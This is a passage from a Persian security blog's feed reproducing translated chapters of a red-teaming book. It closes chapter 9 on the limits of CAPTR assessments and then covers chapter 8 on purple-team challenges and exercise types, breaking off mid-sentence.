<p>برای معرفی کامل روش جدید تیم CATPR باید مشخص کنیم که این رویکرد برای چه مواقعی مناسب نیست و هنگام توضیح این روش ارزیابی امنیتی باید نقطه ضعف‌های آن را هم مشخص کنیم. موانع اجرای موفقیت آمیز عملیات تیم CAPTR شامل نقطه ضعف‌های موجود در خود این رویکرد است به همراه مشکلاتی که هر ایده جدیدی در برابر روش‌های پرطرفدار قبلی خواهد داشت. فرایند تیم CAPTR بر اساس آسیب‌پذیری‌هایی طراحی شده که احتمال استفاده از آنها توسط مهاجمان APT برای نفوذ به آیتم‌های کشنده بیشتر است. بنابراین، کارایی روش تیم CAPTR در رابطه با سایر انواع تهدیدات و نقاط حضور آنها محدود است. نقطه اولیه حضور مهاجم در عملیات تیم CAPTR و فرایند ارزیابی آن به گونه‌ای است که احتمال شناسایی همه آسیب‌پذیری‌های ناشی از اینترنت در این روش کم است. همچنین این شرایط می‌تواند باعث نادیده گرفتن روش‌های ساده‌تری شود که مهاجمان غیرحرفه‌ای‌تر مثل کدنویس‌های تازه کار و حملات خودکار از آنها استفاده می‌کنند. احتمالاً این مهاجمان کمتر حرفه‌ای، مهارت و منابع کمتری برای حمله اینترنتی به یک سازمان دارند و انگیزه، توانایی یا تمایلی به جمع آوری داده‌های موجود در عمق شبکه، ندارند.</p>
<p>مهم‌ترین چالش این روش جدید مربوط به بخش‌های ابتدایی فرایند ارزیابی است. نیاز به وجود پرسنل امنیتی ماهر و همچنین افراد آشنا به مدیریت ریسک جزء ویژگی‌های متمایز این روش ارزیابی امنیتی است. همچنین، عدم برقراری ارتباط و توازن دقیق بین امنیت و ریسک هنگام شناسایی آیتم‌هایی با احتمال نفوذ مرگبار و حیاتی، بر کلیت تست تأثیرگذار است. ایجاد یک فرایند جدید برای ارزیابی امنیتی و اتکا بر داده‌های تولید شده در مرحله تعیین محدوده در ارزیابی‌های CAPTR، یک چالش تازه برای موفقیت ارزیابی ایجاد می‌کند. نقطه‌ای که باید ارزیابی امنیتی CAPTR از آن شروع شود هم موانع و دشواری‌های جدیدی ایجاد می‌کند. شروع عملیات تیم CAPTR با دسترسی به برخی از ارزشمندترین داده‌ها و دستگاه‌های سازمان انجام می‌شود. این امر مستلزم برقراری اعتماد بین سازمان و اجرا کنندگان تست CAPTR است و مسئولیت زیادی برای تیم ارزیابی ایجاد می‌کند. در ROE ارزیابی‌های امنیتی سنتی و توافقنامه‌های اجرای این تست‌ها، دسترسی به مهم‌ترین دارایی‌های یک سازمان جزء موضوعات حساس و سخت است. احتمال بیشتر بودن سطح ریسک و نیاز به اعتماد در این روش می‌تواند بر تمایل سازمان‌ها به اجرای چنین تست‌هایی &#8211; و تمایل شرکت‌های امنیتی به ارایه چنین خدماتی &#8211; تأثیرگذار باشد.</p>
<p>بعلاوه، از آنجایی که نقطه حضور اولیه در عمق بیشتری از شبکه قرار دارد، اجرای ارزیابی مستلزم هماهنگی‌های بیشتری با کارمندان بخش‌های امنیت و آی‌تی است. ممکن است این بار اضافه بر هزینه و مزایای اجرای این روش در سازمان‌ها و تصمیم آنها برای اجرای این نوع ارزیابی تأثیر بگذارد. در نهایت، همانطور که پیش از این اشاره شد، با توجه به نوع اطلاعات و داده‌هایی که در شبکه برخی سازمان‌ها وجود دارد، اجرای این روش ارزیابی در این سازمان‌ها مناسب نیست. اگر امکان شناسایی ماشین‌ها یا داده‌هایی که نفوذ به آنها برای سازمان حیاتی یا کشنده است وجود نداشته باشد، اجرای موفق ارزیابی CAPTR بعید خواهد بود. همچنین با توجه به تمرکز چشمگیر این روش بر هکرهای APT و داده‌های بسیار ارزشمندی که در سازمان‌ها نگهداری می‌شوند، این روش راهکار جامعی برای برآورده کردن نیازهای ارزیابی امنیتی یک سازمان نیست.</p>
<h2><a name="_Toc144125158"></a>خلاصه فصل نهم</h2>
<p>در این فصل به معرفی مفهوم تیم CAPTR پرداختیم. انگیزه‌های ایجاد و طراحی این رویکرد بررسی شد و سپس این روش را با فرایند تیم قرمز سنتی مقایسه کردیم تا مزایای آن را مشخص کنیم. در نهایت نقطه ضعف‌های ارزیابی به روش تیم CAPTR هم بررسی شدند.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> counter-APT red teaming</p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> APT</p>
<p><a href="#_ftnref3" name="_ftn3">[3]</a> سیستم جمع‌آوری داده و کنترل نظارتی (Supervisory Control and Data Acquisition) یا به اختصار اسکادا (SCADA)</p>
<p><a href="#_ftnref4" name="_ftn4">[4]</a> یک آسیب‌پذیری امنیتی رایانه هسته لینوکس است که همه سیستم‌عامل‌های مبتنی بر لینوکس، از جمله دستگاه‌های اندرویدی که از نسخه‌های قدیمی‌تر هسته لینوکس (ایجاد شده قبل از سال ۲۰۱۸) استفاده می‌کردند، را تحت تأثیر قرار داده است</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-9/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل هشتم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-8/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-8/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Wed, 20 Nov 2024 12:00:05 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1387</guid>

					<description><![CDATA[فصل هشتم: تیم بنفش عملیات تیم بنفش به هر روش، فرایند یا فعالیتی گفته می‌شود که با بهره گیری از تعامل بین جنبه‌های آبی و...]]></description>
										<content:encoded><![CDATA[<h1>فصل هشتم: تیم بنفش</h1>
<p>عملیات تیم بنفش به هر روش، فرایند یا فعالیتی گفته می‌شود که با بهره گیری از تعامل بین جنبه‌های آبی و قرمز امنیت سازمانی انجام می‌شود. منظور از &#8220;قرمز&#8221; همه تلاش‌های امنیت تهاجمی یا شبیه سازی حمله است. &#8220;آبی&#8221; به هر تلاشی گفته می‌شود که شامل اقدامات دفاعی صورت گرفته توسط سازمان است. به باور من، وقتی قابلیت‌های دفاعی و تهاجمی در ترکیب با هم در قالب یک عملیات تیم بنفش استفاده می‌شوند، می‌توانند حد نهایی ارتقای امنیت سازمانی را به تصویر بکشند. رسیدن به این هدف بدون چالش نیست و فعالیت‌های تیم بنفش هم انواع مختلفی دارند &#8211; برخی از این فعالیت‌ها قرمزتر و برخی به آبی نزدیک‌تر هستند. در این فصل به بررسی چالش‌های تیم بنفش پرداخته و نمونه‌هایی از فعالیت‌های تیم بنفش را مرور می‌کنیم که به نظر من کارآمد و مؤثر هستند.</p>
<h2><a name="_Toc144125136"></a>چالش‌ها</h2>
<p>خیلی از مشکلات تیم قرمز در عملیات تیم بنفش هم مشاهده می‌شود و بیشتر این مشکلات به پرسنل ارتباط دارند. اجرای موفقیت آمیز و حرفه‌ای عملیات تیم قرمز به تنهایی کار دشواری است. اضافه شدن یک محیط عملیاتی مشارکتی که در آن کارشناسان تهاجمی و دفاعی باید با یکدیگر همکاری کنند هم این چالش را سخت‌تر می‌کند. چالش‌های تیم قرمز می‌توانند باعث دشواری یا کاهش اثربخشی این ارزیابی‌ها شوند اما مشکلات مربوط به پرسنل می‌توانند باعث خروج کامل تعاملات تیم بنفش از مسیر اصلی شده و حتی روابط کاری را به حدی تیره کنند که گزینه تیم بنفش کاملاً حذف شود.</p>
<h3><a name="_Toc144125137"></a>مشکلات مربوط به افراد</h3>
<p>هنگام اجرای عملیات تیم قرمز برای یک مشتری چندین بار با شرایط خاصی روبرو شدم که به روابط بین کارمندان ارتباط داشت. پس از ماه‌ها درخواست از سمت مدیریت سازمان مشتری برای اجرای تعاملاتی شبیه به تیم بنفش، تیم قرمز با تیم‌های آبی و نظارتی سازمان تماس گرفت. هدف این بود که اعضای تیم آبی سازمان را بیشتر با فعالیت‌های خودمان آشنا کنیم تا به آنها برای یافتن و نظارت بر فعالیت‌های خودمان کمک کنیم. متأسفانه آنها از این اطلاعات برای پیدا کردن و نظارت بر ما و همچنین ایجاد مانع برای فعالیت‌های تیم قرمز ما استفاده کردند تا در جلسه با مدیریت سازمان به گیر انداختن ما ببالند و دائماً مانع از انجام فعالیت‌های ما می‌شدند. این خبر به گوش یکی از مدیران فنی که مسئول تیم قرمز بود رسید؛ او از اینکه ما گیر افتاده و بی‌کفایت تلقی شده بودیم، ناراحت شد و این موضوع باعث بحث شدید او با همتای خودش در تیم آبی شد. اینکه یک یا دو نفر از افراد نتوانستند حین عملیات تیم قرمز رفتار حرفه‌ای را رعایت کنند کل این تعامل و چندین هفته رابطه کاری را تحت تأثیر قرار داد و در نهایت با فعالیتی که تقریباً هیچ مزیتی به غیر از خودستایی چند نفر نداشت، باعث اتلاف منابع و زمان بسیار زیادی شد.</p>
<p>در یک سازمان دیگر، یک عملیات تیم بنفش مفید‌تر &#8211; اما باز هم خسته کننده &#8211; را اجرا کردیم که به دلایل مختلف، تقریباً به نتیجه‌ای مثل مثال قبلی رسید. تیم قرمز تصمیم به بررسی برخی هشدارها و قوانین نظارتی مورد استفاده تیم آبی برای ایمن سازی سازمان گرفته بود و واکنش به حادثه را به شیوه‌ای نیمه خودکار شروع کرد. تیم آبی کاملاً با این ایده موافقت کرد و پس از اعلام رضایت، تیم قرمز ارزیابی نیمه خودکار قابلیت‌های نظارتی را آغاز کرد. متأسفانه ادامه ماجرا بدتر از آنچه پیش بینی شده بود پیش رفت در حالی که از قبل برنامه ریزی شده بود که مدیریت ارشد سازمان در جریان این مأموریت قرار گرفته و زمان ارایه نتایج به آنها هم مشخص شده بود. گرچه بر سر بخش آبی از این تلاش تیمی موافقت شده بود و هیجان زیادی درباره آن وجود داشت اما شکست غیرمنتظره کارمندان نظارتی و ارایه‌ای که پس از آن برای مدیریت سازمان انجام دادند، برای این تیم به شدت خجالت آور بود. فعالیت تیم بنفش از نظر درک ضرورت تقویت وضعیت امنیتی سازمان توسط مدیریت سازمان نتیجه خوبی داشت. اما از آنجایی که عملکرد تیم آبی ضعیف‌تر از پیش بینی بود، از نظر شخصی و حرفه‌ای خجالت زده شدند و اینکه حالا وضعیت امنیتی سازمان از قبل بهتر شده بود، از نظر آنها اهمیت چندانی نداشت. این یک نمونه از شرایط سخت‌تری است که ممکن است حین اجرای عملیات تیم بنفش ایجاد شود چون این بار هیچ یک از افراد دخیل عملکرد غیر حرفه‌ای نداشتند و هیچ چیز بر خلاف برنامه توافق شده انجام نشد اما باز هم نتیجه این فعالیت برای عده‌ای نامطلوب بود.</p>
<p>همانطور که این مثال‌ها نشان می‌دهند، مشکل افراد در عملیات تیم بنفش بسیار وسیع و تأثیرگذار است. درست همانطور که روابط خصمانه با مشتری و کارهای غیرحرفه‌ای از سمت مشتری و کارمندان مشتری می‌تواند بر عملیات تیم قرمز تأثیرات نامطلوبی داشته باشد، این مسائل می‌توانند برای تیم بنفش هم مخرب باشند. اگر افراد تیم‌های قرمز یا آبی دستور کار خودشان را برای تعاملات تیم بنفش داشته باشند، این مسئله می‌تواند همه تلاش‌ها را بی‌اثر کند. بدتر اینکه، حتی وقتی همه افراد دخیل در این فرایند کارشان را درست انجام دهند، تصورات غلط یا نتایج غیرمنتظره می‌توانند مزایای تیم بنفش و ادامه فعالیت‌های آن را تحت تأثیر قرار دهند. حتی زمانی که بر سر اجرای عملیات توافق شده باشد، در صورتی که نتایج ارزیابی به نفع یک گروه رقم بخورد ممکن است بین افراد اختلاف ایجاد شود. مشکلات مربوط به افراد فراتر از مسائل مربوط به کارمندان امنیتی دخیل در این فرایند هستند. ممکن است مدیریت به نحوی از نتایج تیم بنفش استفاده کند که روابط خصمانه بین افراد تشدید شود.</p>
<p>مثلاً در مثال‌های قبلی اگر مدیر تیم آبی درخواست مساعدت از مدیران سطح بالای سازمان داشته باشد اما نتیجه گیری این باشد که تیم قرمز خوب است یا حتی بهتر و حرفه‌ای‌تر است و به این دلیل تیم قرمز پشتیبانی مالی بیشتری کسب کند، ممکن است شرایط به شدت سخت شده و برخوردهای نامناسبی ایجاد شود.</p>
<h3><a name="_Toc144125138"></a>نیازهای مشتری</h3>
<p>مثل چالش‌های فنی و رویه‌ای که برای اجرای موفقیت آمیز عملیات تیم قرمز وجود دارد، ممکن است تیم بنفش هم برای برآورده ساختن نیازهای مشتریان با چالش روبرو شود. موضوع این کتاب، عملیات تیم قرمز حرفه‌ای است و معمولاً در این زمینه سمت آبی باز هم مشتری است. در تیم بنفش، مشتری سازمان است و ارایه دهندگان خدمات، هر دو تیم آبی و قرمز هستند. تجربه نشان داده که معمولاً مشتری چنین دیدگاهی نسبت به این فرهنگ ندارد و تیم بنفش را یکی از جنبه‌های خدمات تیم قرمز در نظر می‌گیرد که تیم آبی را درگیر کرده و به بهبود و ارتقای عملکرد آن کمک می‌کند. به ویژه در صورت استفاده از خدمات اجرا کنندگان تست نفوذ برون سازمانی، شرایط معمولاً به همین صورت است. در کنار انبوه موانع و مشکلات برای اجرای موفقیت آمیز یک ارزیابی امنیت تهاجمی به صورت برون سازمانی، باید یکی از بخش‌های سازمان که احتمالاً روابط خصمانه‌ای با شما دارد را دعوت به همکاری کنید. بدتر اینکه، در این شرایط تیم قرمز نمی‌تواند از بخش آبی سازمان کمک بگیرد. بنابراین تیم قرمز در شرایطی قرار می‌گیرد که موفقیت آن در ارایه خدمات تیم بنفش برای مشتری وابسته به استفاده از داشته‌های تیم آبی است که احتمال موفقیت در به کار گرفتن و همکاری آنها سخت بوده و برخلاف نیروهای تیم قرمز، با مشتری رابطه تجاری ندارند و انگیزه موفقیت آنها کمتر است.</p>
<p>چنین دلایلی باعث شده که احتمال موفقیت تیم بنفش در سازمان‌ها بزرگ یا سازمان‌هایی که وضعیت امنیتی کامل‌تری دارند، بیشتر باشد. احتمالاً چنین سازمان‌هایی تجهیزات لازم برای هر دو نوع تیم‌های قرمز و آبی را دارند. تیم بنفش با اجرای ارزیابی‌هایی که در بلندمدت و به صورت دوره‌ای انجام می‌شود بهترین نتیجه را فراهم می‌کند و برای سازمان‌های بزرگتر امکان ایجاد چنین شرایطی بیشتر است. این به آن معنا نیست که سازمان‌های کوچک با منابع کمتر امکان تحقق مزایای مشارکتی تیم بنفش را ندارند بلکه باید این تلاش را به گونه‌ای برنامه ریزی کرد که به نتایج نامطلوب منجر نشود. نیازهای مشتری نحوه شکل گرفتن عملیات تیم بنفش را تعیین می‌کنند و ارایه دهنده باید اطمینان حاصل کند که عملیات تیم قرمز متناسب با وضعیت امنیتی سازمان انجام می‌شود. وقتی سازمان قابلیت‌های نظارتی کمی دارد، همکاری تیم قرمز و آبی متفاوت با شرایطی است که در آن قابلیت‌های نظارتی سازمان کامل‌تر بوده و نیاز به ارزیابی مشارکتی بخشی از دستگاه امنیتی دارد. بخش شکل دهی به محدوده عملیات تیم بنفش نسبت به عملیات تیم قرمز معمولی حساس‌تر است و باید در برقراری ارتباط با سازمان مشتری احتیاط زیادی داشت تا عملیات تیم بنفش به موفقیت رسیده و در بلند مدت مورد پذیرش و استقبال قرار بگیرد.</p>
<h2><a name="_Toc144125139"></a>انواع تیم بنفش</h2>
<p>تیم‌های قرمز و آبی می‌توانند به روش‌های زیادی برای بهبود امنیت سازمان با یکدیگر همکاری کنند. همانطور که پیش از این اشاره شد، فعالیت‌های تیم بنفش شامل تلاش‌های منسجم نیروهای تیم آبی و قرمز است. به طور کلی می‌توان تعاملات رایج تیم‌های بنفش را به دو دسته تقسیم کرد یعنی: دسته‌ای که در آنها یکی از طرفین از فعالیت‌های یک طرف خاص که می‌تواند مهاجم یا میزبان باشد، آگاهی ندارد و دسته دوم تعاملاتی که در آنها هر دو طرف تا حدودی از فعالیت‌های یکدیگر آگاهی دارند. پس از اجرای عملیات تیم بنفش هم یک ارزیابی از آنچه در این عملیات صورت گرفته انجام می‌شود و در این مرحله دو طرف با یکدیگر برای از بین بردن نقطه ضعف‌های شناسایی شده همکاری می‌کنند. در ادامه به بررسی برخی روش‌های اجرای عملیات تیم بنفش می‌پردازیم که من شخصاً تجربه انجام آنها را دارم و به نظر من تأثیر زیادی در تقویت امنیت سازمانی دارند.</p>
<h3><a name="_Toc144125140"></a>آگاهی متقابل</h3>
<p>می‌توان گفت که کلاسیک‌ترین نمونه از تعاملات تیم بنفش مواردی هستند که در آنها هر دو تیم آبی و قرمز نسبت به فعالیت‌های طرف مقابل و نقش آن در تعامل، حداقل مقداری اطلاعات دارند اما معمولاً این درک به یک میزان است. مزیت استفاده از این نوع عملیات تیم بنفش این است که معمولاً احتمال خصمانه شدن آن کمتر است چون هیچ یک از تیم‌ها اطلاعات زیادی را از تیم مقابل مخفی نمی‌کند. اعضای تیم قرمز در جریان هستند که اعضای تیم آبی از حضور و فعالیت آنها آگاهی دارند و اینکه این آگاهی چقدر است؛ اعضای تیم آبی هم از فعالیت‌ها و اهداف برنامه ریزی شده تیم قرمز اطلاع دارند. یکی از معایب این روش این است که معمولاً در آن واقع گرایانه‌ترین شبیه سازی حمله توسط تیم قرمز اجرا نمی‌شود. در بیشتر مواقع، این شرط برای اجرای چنین عملیاتی مورد پذیرش قرار می‌گیرد.</p>
<p>به عنوان یکی از اعضای تیم قرمز در چنین تعاملاتی، ممکن است نسبت به تیم آبی چند مسئولیت داشته باشید. ارزیان تیم قرمز باید به غیر از تهیه یادداشت‌های عملیاتی مناسب، پیش از شروع بهره برداری به اعضای تیم آبی اطلاع رسانی کنند. در واقع اعضای تیم قرمز باید همان جزئیاتی که در یادداشت‌های عملیاتی ثبت می‌شود را در اختیار اعضای تیم آبی قرار دهند و در صورت امکان این کار را به صورت بلادرنگ انجام دهند. این یعنی باید به اعضای تیم آبی درباره مبدأ، مقصد، زمان تقریبی و سپس زمان دقیق بهره برداری و همچنین نوع اکسپلویت اجرا شده اطلاع داد. این تاکتیک به تیم آبی امکان می‌دهد که قابلیت‌های نظارتی و دفاعی خودشان را به صورت بلادرنگ تحلیل و اصلاح کنند. اگر ابزارهای نظارتی به موقع درباره اجرای اکسپلویت هشدار صادر نکنند و یا فایروال یا ضد ویروس با موفقیت آن را شناسایی نکنند، تیم آبی بلافاصله متوجه این موضوع می‌شود و می‌تواند همزمان با ادامه عملیات تیم بنفش، راهکارهای مناسب را برای رفع مشکل اجرا کند. به همین ترتیب، اعضای تیم آبی هم باید به تیم قرمز درباره شناسایی فعالیت‌های این تیم در شبکه و وضعیت سیستم‌های تشخیص نفوذ میزبان محور اطلاع رسانی کنند تا اعضای تیم قرمز هم بتوانند روش‌ها و شگردهای خودشان را اصلاح و تقویت کنند. وقتی در عملیات تیم بنفش هر دو تیم آبی و قرمز از فعالیت‌های طرف مقابل آگاهی دارند، هر دو تیم می‌توانند همزمان با اجرای ارزیابی، اصلاحات لازم را در روش‌های خودشان ایجاد کنند.</p>
<h3><a name="_Toc144125141"></a>بی‌اطلاعیِ میزبان</h3>
<p>در یکی دیگر از انواع رایج ارزیابی‌های تیم بنفش، سیستم‌های دفاعی میزبان محور تیم آبی اطلاعات زیادی از فعالیت‌های تیم قرمز ندارند. در چنین مواقعی، فقط یکسری نشانه مبهم در رابطه با فعالیت‌های تیم قرمز در اختیار تیم آبی قرار گرفته و سعی بر این است که با تلاش تیم آبی برای جستجو، شناسایی یا پیشگیری از فعالیت‌های تیم قرمز، توانمندی‌های این تیم تقویت شود. احتمالاً اطلاعات ارایه شده برای تیم آبی در حد تاریخ شروع و پایان فعالیت تیم قرمز است و ممکن است اطلاعات اختصاصی‌تری مثل بخشی از سازمان که تحت بررسی تیم قرمز قرار دارد یا هدف آنها از اجرای حمله هم مشخص شود. تیم قرمز از اینکه دقیقاً چه اطلاعاتی در اختیار تیم آبی قرار می‌گیرد، آگاه است و با تمام تلاش سعی می‌کند از شناسایی شدن پیشگیری کند. اجرای عملیات تیم بنفش به این روش به تیم قرمز امکان می‌دهد که شیبه سازی واقع گرایانه‌تری از حمله ایجاد کرده و پیچیدگی حمله را افزایش دهد. ایراد این روش این است که احتمال ایجاد محیط خصمانه بین تیم قرمز و آبی با این روش بیشتر می‌شود چون این دو تیم را در تقابل با یکدیگر قرار می‌دهد.</p>
<h3><a name="_Toc144125142"></a>بی‌اطلاعیِ مهاجم</h3>
<p>یکی از سناریوهایی که احتمال اجرای آن کمتر است، بی‌اطلاعیِ مهاجم است. در چنین شرایطی، تیم قرمز تقریباً هیچ اطلاعاتی از قابلیت‌ها یا فعالیت‌های تیم آبی ندارد. همچنین تیم قرمز در جریان نیست که تیم آبی در رابطه با اقداماتش اطلاعات دریافت می‌کند. چنین شرایطی باعث می‌شود که تیم قرمز به صورت بلادرنگ تحت نظارت باشد و دستگاه دفاعی سازمان اطلاعات زیادی از فعالیت این تیم داشته باشد. در این روش، تیم قرمز بدون ایجاد مانع به کار خود ادامه می‌دهد و در انتها تیم آبی گزارشی در رابطه با چگونگی پیشرفت و فعالیت‌های تیم قرمز ارایه می‌دهد به همراه اطلاعات به دست آمده در اثر نظارت بر شبیه سازی حمله از ابتدا تا پایان آن.</p>
<p>تیم آبی می‌تواند چالش‌هایی در مسیر تیم قرمز قرار دهد تا واکنش این تیم را بررسی کند. این چالش‌ها می‌توانند شامل قرار دادن پست‌های شنود مورد استفاده ابزارهای دسترسی از راه دور در لیست سیاه، ایمن سازی حساب‌های مورد استفاده تیم قرمز برای حرکت در شبکه یا پاکسازی برخی سیستم‌ها از ابزارهای مورد استفاده تیم قرمز باشد. از آنجایی که تیم قرمز در جریان نیست که به صورت لحظه‌ای تحت نظارت قرار دارد، طوری به این اقدامات واکنش نشان می‌دهد که انگار جزء یک ارزیابی معمولی هستند. اطلاعات به دست آمده توسط تیم آبی در این روش، برای آشنایی با طرز فکر مهاجمان و واکنش طبیعی هکرهای اخلاقی بسیار مفید هستند. اگر چنین فعالیتی به عنوان بخشی از یک عملیات درون سازمانی بزرگتر انجام شود، به تیم قرمز هم امکان می‌دهد که با دسترسی به گزارش نهایی تیم آبی، از چشم‌انداز و دیدگاه مدافع اطلاع پیدا کند. طبیعتاً اجرای چنین عملیات تیم بنفشی در مواقعی که بین اجرا کننده تست نفوذ و سازمان، رابطه ارایه دهنده و مشتری وجود دارد ممکن نیست اما یکی از روش‌های خیلی خوب برای تقویت مهارت‌های تیم‌های قرمز و آبی درون سازمانی است.</p>
<h3><a name="_Toc144125143"></a>تست دست قرمز (مُچ‌گیری)</h3>
<p>تست مچ‌گیری یا به اصطلاح دست قرمز بر اساس اصطلاح &#8220;دست قرمز&#8221; (کنایه از آغشته به خودن بودن) طراحی شده که مفهوم آن گیر انداختن است. حین اجرای تست مچ گیری، هدف ارزیابی گیر انداختن تیم قرمز توسط تیم آبی است. این نوع عملیات تیم بنفش به دلایل مختلف بر همه مراحل ارزیابی متمرکز می‌شود و در هر مرحله با واکنش‌های متفاوتی همراه است. تست از قبل گیر انداختن تیم قرمز و شناسایی اقدامات این تیم شروع می‌شود. من هم در چنین ارزیابی‌هایی حضور داشته‌ام و به نظرم این ارزیابی‌ها برای سازمان مشتری بسیار مفید هستند. همانطور که قبلاً اشاره شد، چنین تست‌هایی می‌توانند منجر به ایجاد درگیری بین تیم‌ها شوند.</p>
<p>مسلماً می‌توان تست مچ گیری را به صورت دستی و همچنین با اتوماسیون اجرا کرد. حین اجرای چنین ارزیابی‌هایی، اعضای تیم ارزیابی به تدریج امنیت عملیاتی و شگردهای خودشان را کاهش می‌دهند تا وقتی که تیم قرمز اقدامات آنها را شناسایی کنند. در این مرحله، عملیات تیم بنفش می‌تواند وارد یکی از این دو مسیر شود: تیم آبی که تیم قرمز را شناسایی کرده، فعالیت‌های تیم بنفش را متوقف کرده و با تیم قرمز در رابطه با آنچه تا آن مرحله رخ داده و علت شناسایی تیم قرمز گفتگو کند. یا تیم آبی به تیم قرمز درباره شناسایی شدن این تیم اطلاع می‌دهد و تیم قرمز به تدریج اقدامات مخفی و شگردهای خودش را تقویت می‌کند تا زمانی که تشخیص فعالیت‌های این تیم از فعالیت‌های مجاز ممکن نباشد. این دو مرحله معمولاً تکرار می‌شود و طی آن تیم آبی سعی می‌کند عملکرد خود را در زمینه اطلاع و شناسایی فعالیت‌های تیم قرمز بهبود ببخشد. یکی از مشکلات این روش این است که راهکار قابل تکرار یا قابل دفاعی برای ارتقای عملکرد تیم آبی نیست و ممکن است برای هر سازمانی کارایی نداشته باشد.</p>
<p>یکی دیگر از روش‌های اجرای تست مچ گیری، اتوماسیون آن با کمک مهارت‌های هکرهای اخلاقی است. در چنین ارزیابی‌هایی عامل انسانی تقریباً به صورت کامل حذف می‌شود و هدف، بیشتر ارزیابی قابلیت‌های پیشگیرانه و نظارتی موجود سازمان است.</p>
<p>اولین بار که شاهد پیاده سازی این تکنیک بودم، این کار توسط تیم قرمز یک سازمان بسیار بزرگ انجام شده بود. پس از اینکه تقریباً قابلیت دسترسی به همه دستگاه‌های مرکز داده سازمان را ارزیابی کردیم، آماده اجرای تست مچ گیری خودکار شدیم. مهارت اصلی، انتخاب نقطه اجرای ابزار است. برخی اهداف از داخل خود مرکز داده انتخاب شدند، برخی مخصوص برقراری ارتباط با مرکز داده بودند و برخی در مناطق غیرنظامی و سایر زیرمجموعه‌های مدیریتی محدوده هدف قرار داشتند. ابزاری که ما نصب کردیم، یک مجموعه فعالیت امنیت تهاجمی داشت که سطوح پیچیدگی متنوعی داشتند. از جمله اضافه کردن یک کلید برای یک کاربر SSH، ماندگار کردن یک باینری یا اسکریپت، ایجاد یک کاربر و اقدامات مشابه دیگر. این فعالیت‌ها به ترتیب و بر اساس احتمال شناسایی (از کمترین به بیشترین احتمال) &#8211; و همزمان روی همه دستگاه‌ها &#8211; اجرا شدند. پس از تکمیل اجرای این ابزارها، با تیم آبی صحبت کردیم تا ببینیم چه فعالیت‌هایی در نرم‌افزار نظارتی آنها شناسایی شده، از اجرای کدام فعالیت‌ها پیشگیری شده و چه هشدارهایی ایجاد شده بودند. به این ترتیب، تیم آبی درک واضح‌تری نسبت به توانمندی‌های دفاعی خودشان پیدا کردند. در برخی موارد، اقداماتی که تیم آبی تصور می‌کرد صددرصد متوجه آنها می‌شود، نادیده گرفته شده بودند و دلیل این موضوع پیکربندی اشتباه تپ‌های شبکه و مشکلات دیگر بود.</p>
<p>می‌توان این تست‌های مچ گیری را همراه با عملیات تیم آبی انجام داد که در آن این تیم قوانین دفاعی و نظارتی خود را از قبل مشخص کرده و تیم قرمز هم کارهایی را انجام می‌دهد که برای شناسایی شدن توسط دستگاه‌های دفاعی طراحی شده‌اند. این استراتژی یک تصویر فوری از نیازهای سازمان در زمینه مقابله با آسیب‌پذیری‌ها فراهم می‌کند چون هشدارهایی که نادیده گرفته می‌شوند ارتباط مستقیمی با فعالیتی دارند که تیم آبی تصور می‌کند با آن مقابله کرده است. گزینه بعدی این است که تیم قرمز در گزارش نهایی، اقدامات انجام شده را ثبت کرده و آنها را با تیم آبی مرور کند تا توانایی‌های این تیم برای شناسایی چنین اقداماتی تقویت شود. با این کار می‌توان ترتیب اقدامات اصلاحی را بر اساس میزان خطر فعالیت‌های انجام شده مشخص کرد چون باید فعالیت‌های بسیار خطرناکی که شناسایی نشده‌اند، به عنوان اولویت مورد بررسی و تحلیل قرار بگیرند.</p>
<p>دو روش قبلی بررسی شده بیشتر به اقدامات امنیتی امضا محور می‌پرداختند که در آنها تیم آبی درون سازمانی نقطه ضعف‌های خودش را در زمینه ثبت یا مقابله با برخی اقدامات شناخته شده شناسایی می‌کند. یکی از مفاهیم جدیدی که اخیراً با یکی از همکاران به آن پرداختیم، استفاده از فناوری یادگیری ماشینی برای ارزیابی خودکار دستگاه امنیتی یک سازمان بود. بدون شک این موضوع با مبحث اصلی این کتاب که مربوط به هک اخلاقی است فاصله دارد اما اشاره به آن در کنار این مفاهیم مربوط به مچ گیری در تیم بنفش می‌تواند مفید باشد. در این روش، یک ابزار در نقاط مختلف سازمان و اینترنت نصب می‌شود که ترافیک مبنای شبکه سازمان را شنود کرده و بر اساس آن آموزش می‌بیند. سپس این ابزار بر عکس نرم‌افزارهای نظارتی اکتشافی (یا هیوریستیک) عمل می‌کند و شروع به ارسال ترافیک خودش می‌کند. همچنان که شباهت ترافیک ارسال شده توسط این ابزارها به خط مبنای ترافیک شبکه کمتر و کمتر می‌شود، نرم‌افزارهای نظارتی با سطوح پیچیدگی مختلف باید کم کم این ترافیک ناهنجار را در نقاط مختلف شناسایی کنند. با قرار دادن و اجرای چنین ابزاری در نقاط حساس ترافیک شبکه، سازمان می‌تواند مشخص کند که آیا ابزارهای نظارت بر ترافیک اکتشافی یا حتی امضا محور طوری پیکربندی شده‌اند که ترافیک ناهنجار را شناسایی کنند یا خیر.</p>
<h3><a name="_Toc144125144"></a>گرفتن و رها کردن</h3>
<p>تست مچ گیری بیشتر متمرکز بر بهبود یا شناسایی خلأهای موجود در روش‌های مورد استفاده تیم آبی است. تست گرفتن و رها کردن یکی از انواع مأموریت‌های تیم بنفش است که با هدف ارزیابی توان ارتجاعی عملیات تیم قرمز و عملکرد تیم آبی در شناسایی و پیگیری فعالیت‌های تیم قرمز طراحی شده است. طی چنین مأموریت‌هایی، تیم قرمز در یک مرحله شناسایی می‌شود. وقتی این اتفاق رخ می‌دهد، به تیم قرمز در رابطه با اینکه چه اقدامی باعث شناسایی آنها شده، اطلاع رسانی می‌شود و سپس یک فرصت کوتاه در اختیار تیم قرمز قرار می‌گیرد؛ پس از آن تیم آبی شروع به قرنطینه ابزارهای مورد استفاده تیم قرمز و بیرون انداختن آنها از شبکه می‌کند. باید فاصله بین اطلاع رسانی و اجرای فعالیت‌های دفاعی یا شکار با فاصله بین فعال شدن هشدار در اثر تشخیص یک اقدام خاص در دستگاه‌های نظارتی، توجه یک تحلیلگر انسانی 